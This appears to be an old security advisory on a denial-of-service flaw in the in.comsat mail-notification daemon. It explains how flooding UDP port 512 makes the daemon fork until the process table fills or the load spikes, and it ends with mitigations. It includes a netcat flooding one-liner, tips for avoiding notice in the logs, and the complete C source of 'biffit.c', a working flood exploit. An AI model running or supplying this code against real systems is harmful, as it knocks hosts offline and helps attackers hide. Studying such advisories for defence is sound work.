COMMAND

    in.comstat

SYSTEMS AFFECTED

    Mostly systems with in.comstat enabled

PROBLEM

    Andrew Hobgood posted  following.  In  the continuing saga  of UDP
    ports sitting  open on  a machine,  in.comsat can  be exploited to
    cause some pretty nasty problems.

    For the uninitiated,  in.comsat allows users  who have set  biff y
    to recieve notification of new mail messages in their mail  spool.
    By sending  UDP datagrams  to port  512, in.comsat  is started and
    breaks up the contents of the  datagram.  The data sent is  of the
    format  "username@linenum"  where  username  is  the  user  who is
    recieving mail,  and linenum  is the  location in  the mail  spool
    where the new mail resides.   Therefore, sending 'root@0' to  port
    512 will  tell comsat  to alert  the user  root that  there is new
    mail, and it'll echo up the first couple of lines (7 lines or  560
    chars, I believe)  to the user's  screen if A)  they're logged in,
    and B) have biff set to y.

    Now,  the  problem  occurs  when  comsat  fork()'s off (about line
    221).  It does  this so it can  handle multiple user mail  reports
    in a single comsat connection.  Unfortunately, if you feed a  huge
    number of username  lines very quickly  to the open  comsat, it'll
    continue to fork() off things (which die quickly).

    As many of  you can figure  out from here,  this can be  exploited
    very easily over a LAN or  from the local host.  For  instance, if
    you have instated process quotas to prevent users from forkbombing
    your machine, they can simply start up a few

	yes 'root@0' | nc -u localhost 512 &

    (which will allow  them to run  quite a few  things before running
    out of process space), but will  open up a large enough stream  of
    garbage to comsat to  make it fork() off  ad infinitum.  On  Linux
    machine, 3 or 4 of these open comsats is enough to make my  system
    load hit >20.

    Even if each  fork()'ed process lasts  for a short  time, there is
    still enough bandwidth over a  10Mbps LAN (or T3 for  that matter)
    to cause a machine to run  out of PID's, or force the  system load
    to climb higher and higher until it crashes.

    Also,  comsat  does  *NOT*  log  what  is  sent  over  the  comsat
    connection unless there is invalid data, such as the user  doesn't
    exist.     Otherwise,   the   only   log   entry   is   a   single
    "in.comsat[PID]:   connect from  hostname".   If you  do this from
    localhost,  ESPECIALLY  if  it  is  preceded  by some sort of mail
    delivery (perhaps just  fake a mail  to somewhere on  the machine,
    or use the fun remote syslogging  bug that we've all seen to  fake
    a sendmail connect), there is very little to indicate foul play.

    'sygma' made exploit for BSD boxes (taken from rootshell):

    /*
     *  filename:  biffit.c
     *  author:    sygma @undernet
     *  problem:   in.comsat uses UDP, and forks, so just think about it. :)
     *             IT CAN cripple BSD boxes.
     *  fix:       'biff n' works well.  [wouldn't want leetos hitting you]
     *             or vi /etc/hosts.allow and add "in.comsat: LOCAL"
     *  notes:     I wrote this for a friend to show him something,
     *             I won't be held reponsible for the missuse most people do
     *             with this stuff.  This is for Educational user only!
     *  tested on: Linux [slackware]
     *             FreeBSD 2.2.5-Stable
     *             NetBSD 1.2
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/wait.h>

    #define MYPORT 512

    int i;

    int main(int argc, char *argv[])
    {
	    int sockfd;
	    struct sockaddr_in their_addr; /* connector's address information */
	    struct hostent *he;
	    int numbytes;
	    char message[80];

	    if (argc != 3) {
		fprintf(stderr,"usage: \n");
		fprintf(stderr,"    %s [hostname] [username]\n",argv[0]);
		exit(1);
	    }

	    if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
		herror("gethostbyname");
		exit(1);
	    }

	    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("socket");
		exit(1);
	    }

	    their_addr.sin_family = AF_INET;      /* host byte order */
	    their_addr.sin_port = htons(MYPORT);  /* short, network byte order */
	    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
	    bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */

	    i=0;
	    sprintf(message,"%s@0",argv[2]);
	    while(1)
	    {
		    if ((numbytes=sendto(sockfd, message, strlen(message), 0, \
		    (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
		    {
			    perror("recvfrom");
			    exit(1);
		    }

		    i++;
		    if (i==10000) {printf(".");i=0;}
		    // fuck usleep(100);
	    }
	    close(sockfd);

	    return 0;
    }

SOLUTION

    Well, either A) prevent comsat  from fork()'ing (only allow it  to
    handle  1  line  at  a  time)  or  B) disable comsat all together.
    'biff n' works well too or vi /etc/hosts.allow and add "in.comsat:
    LOCAL".  B) has its problems - see comstat #2.